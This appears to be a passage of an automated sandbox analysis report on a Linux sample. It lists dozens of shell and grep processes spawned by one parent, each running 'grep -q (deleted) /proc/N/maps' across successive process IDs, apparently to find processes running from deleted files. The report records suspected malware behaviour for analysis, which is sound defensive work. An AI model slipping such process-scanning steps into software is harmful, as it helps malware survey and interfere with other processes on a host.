Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/233/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6827, Parent PID: 6239

General

Start time (UTC):	20:32:30
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6827, Parent PID: 6239

General

Start time (UTC):	20:32:30
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/234/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6830, Parent PID: 6239

General

Start time (UTC):	20:32:30
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6830, Parent PID: 6239

General

Start time (UTC):	20:32:30
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/235/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6835, Parent PID: 6239

General

Start time (UTC):	20:32:31
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6835, Parent PID: 6239

General

Start time (UTC):	20:32:31
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/236/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6839, Parent PID: 6239

General

Start time (UTC):	20:32:32
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6839, Parent PID: 6239

General

Start time (UTC):	20:32:32
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/237/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6846, Parent PID: 6239

General

Start time (UTC):	20:32:33
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6846, Parent PID: 6239

General

Start time (UTC):	20:32:33
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/24/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6852, Parent PID: 6239

General

Start time (UTC):	20:32:34
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6852, Parent PID: 6239

General

Start time (UTC):	20:32:34
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/243/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6855, Parent PID: 6239

General

Start time (UTC):	20:32:34
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6855, Parent PID: 6239

General

Start time (UTC):	20:32:34
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/248/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6859, Parent PID: 6239

General

Start time (UTC):	20:32:35
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6859, Parent PID: 6239

General

Start time (UTC):	20:32:35
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/249/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6888, Parent PID: 6239

General

Start time (UTC):	20:32:35
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6888, Parent PID: 6239

General

Start time (UTC):	20:32:35
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/25/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6894, Parent PID: 6239

General

Start time (UTC):	20:32:36
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6894, Parent PID: 6239

General

Start time (UTC):	20:32:36
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/250/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6896, Parent PID: 6239

General

Start time (UTC):	20:32:36
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6896, Parent PID: 6239

General

Start time (UTC):	20:32:36
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/251/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6897, Parent PID: 6239

General

Start time (UTC):	20:32:37
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6897, Parent PID: 6239

General

Start time (UTC):	20:32:37
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/252/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6901, Parent PID: 6239

General

Start time (UTC):	20:32:37
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6901, Parent PID: 6239

General

Start time (UTC):	20:32:37
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/253/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6902, Parent PID: 6239

General

Start time (UTC):	20:32:38
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6902, Parent PID: 6239

General

Start time (UTC):	20:32:38
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/254/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6904, Parent PID: 6239

General

Start time (UTC):	20:32:39
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6904, Parent PID: 6239

General

Start time (UTC):	20:32:39
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/255/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6907, Parent PID: 6239

General

Start time (UTC):	20:32:39
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6907, Parent PID: 6239

General

Start time (UTC):	20:32:39
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/256/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6910, Parent PID: 6239

General

Start time (UTC):	20:32:40
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6910, Parent PID: 6239

General

Start time (UTC):	20:32:40
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/257/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6912, Parent PID: 6239

General

Start time (UTC):	20:32:40
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6912, Parent PID: 6239

General

Start time (UTC):	20:32:40
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/258/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6913, Parent PID: 6239

General

Start time (UTC):	20:32:41
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6913, Parent PID: 6239

General

Start time (UTC):	20:32:41
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/259/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6918, Parent PID: 6239

General

Start time (UTC):	20:32:41
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6918, Parent PID: 6239

General

Start time (UTC):	20:32:41
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/26/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6934, Parent PID: 6239

General

Start time (UTC):	20:32:42
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6934, Parent PID: 6239

General

Start time (UTC):	20:32:42
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/260/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6937, Parent PID: 6239

General

Start time (UTC):	20:32:42
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6937, Parent PID: 6239

General

Start time (UTC):	20:32:42
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/261/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6941, Parent PID: 6239

General

Start time (UTC):	20:32:43
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6941, Parent PID: 6239

General

Start time (UTC):	20:32:43
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/262/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6942, Parent PID: 6239

General

Start time (UTC):	20:32:43
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6942, Parent PID: 6239

General

Start time (UTC):	20:32:43
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/263/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6943, Parent PID: 6239

General

Start time (UTC):	20:32:43
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6943, Parent PID: 6239

General

Start time (UTC):	20:32:43
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2637/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6946, Parent PID: 6239

General

Start time (UTC):	20:32:44
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6946, Parent PID: 6239

General

Start time (UTC):	20:32:44
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/264/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6948, Parent PID: 6239

General

Start time (UTC):	20:32:44
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6948, Parent PID: 6239

General

Start time (UTC):	20:32:44
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/265/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6951, Parent PID: 6239

General

Start time (UTC):	20:32:44
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6951, Parent PID: 6239

General

Start time (UTC):	20:32:44
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/266/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6955, Parent PID: 6239

General

Start time (UTC):	20:32:44
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6955, Parent PID: 6239

General

Start time (UTC):	20:32:44
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/267/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6956, Parent PID: 6239

General

Start time (UTC):	20:32:45
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6956, Parent PID: 6239

General

Start time (UTC):	20:32:45
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/269/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6957, Parent PID: 6239

General

Start time (UTC):	20:32:45
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6957, Parent PID: 6239

General

Start time (UTC):	20:32:45
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/27/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6958, Parent PID: 6239

General

Start time (UTC):	20:32:45
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6958, Parent PID: 6239

General

Start time (UTC):	20:32:45
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/270/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6959, Parent PID: 6239

General

Start time (UTC):	20:32:46
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6959, Parent PID: 6239

General

Start time (UTC):	20:32:46
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/272/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6960, Parent PID: 6239

General

Start time (UTC):	20:32:46
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6960, Parent PID: 6239

General

Start time (UTC):	20:32:46
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/274/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6961, Parent PID: 6239

General

Start time (UTC):	20:32:46
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6961, Parent PID: 6239

General

Start time (UTC):	20:32:46
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2746/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6962, Parent PID: 6239

General

Start time (UTC):	20:32:47
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6962, Parent PID: 6239

General

Start time (UTC):	20:32:47
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2749/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6963, Parent PID: 6239

General

Start time (UTC):	20:32:47
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6963, Parent PID: 6239

General

Start time (UTC):	20:32:47
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2761/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6964, Parent PID: 6239

General

Start time (UTC):	20:32:47
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6964, Parent PID: 6239

General

Start time (UTC):	20:32:47
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/278/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6967, Parent PID: 6239

General

Start time (UTC):	20:32:47
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6967, Parent PID: 6239

General

Start time (UTC):	20:32:47
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/28/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7041, Parent PID: 6239

General

Start time (UTC):	20:32:47
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7041, Parent PID: 6239

General

Start time (UTC):	20:32:47
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/281/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7078, Parent PID: 6239

General

Start time (UTC):	20:32:48
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7078, Parent PID: 6239

General

Start time (UTC):	20:32:48
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/286/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7079, Parent PID: 6239

General

Start time (UTC):	20:32:48
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7079, Parent PID: 6239

General

Start time (UTC):	20:32:48
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2882/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7087, Parent PID: 6239

General

Start time (UTC):	20:32:49
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7087, Parent PID: 6239

General

Start time (UTC):	20:32:49
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/29/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7089, Parent PID: 6239

General

Start time (UTC):	20:32:49
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7089, Parent PID: 6239

General

Start time (UTC):	20:32:49
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/3/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7091, Parent PID: 6239

General

Start time (UTC):	20:32:49
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7091, Parent PID: 6239

General

Start time (UTC):	20:32:49
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/30/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7094, Parent PID: 6239

General

Start time (UTC):	20:32:50
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7094, Parent PID: 6239

General

Start time (UTC):	20:32:50
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/3021/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7097, Parent PID: 6239

General

Start time (UTC):	20:32:50
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7097, Parent PID: 6239

General

Start time (UTC):	20:32:50
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/3088/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7098, Parent PID: 6239

General

Start time (UTC):	20:32:51
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7098, Parent PID: 6239

General

Start time (UTC):	20:32:51
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/322/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7099, Parent PID: 6239

General

Start time (UTC):	20:32:51
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7099, Parent PID: 6239

General

Start time (UTC):	20:32:51
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/3236/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7101, Parent PID: 6239

General

Start time (UTC):	20:32:52
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7101, Parent PID: 6239

General

Start time (UTC):	20:32:52
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/324/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7108, Parent PID: 6239

General

Start time (UTC):	20:32:52
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7108, Parent PID: 6239

General

Start time (UTC):	20:32:52
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/326/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7113, Parent PID: 6239

General

Start time (UTC):	20:32:53
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7113, Parent PID: 6239

General

Start time (UTC):	20:32:53
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/327/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7116, Parent PID: 6239

General

Start time (UTC):	20:32:53
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7116, Parent PID: 6239

General

Start time (UTC):	20:32:53
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/328/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7117, Parent PID: 6239

General

Start time (UTC):	20:32:54
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7117, Parent PID: 6239

General

Start time (UTC):	20:32:54
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/333/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

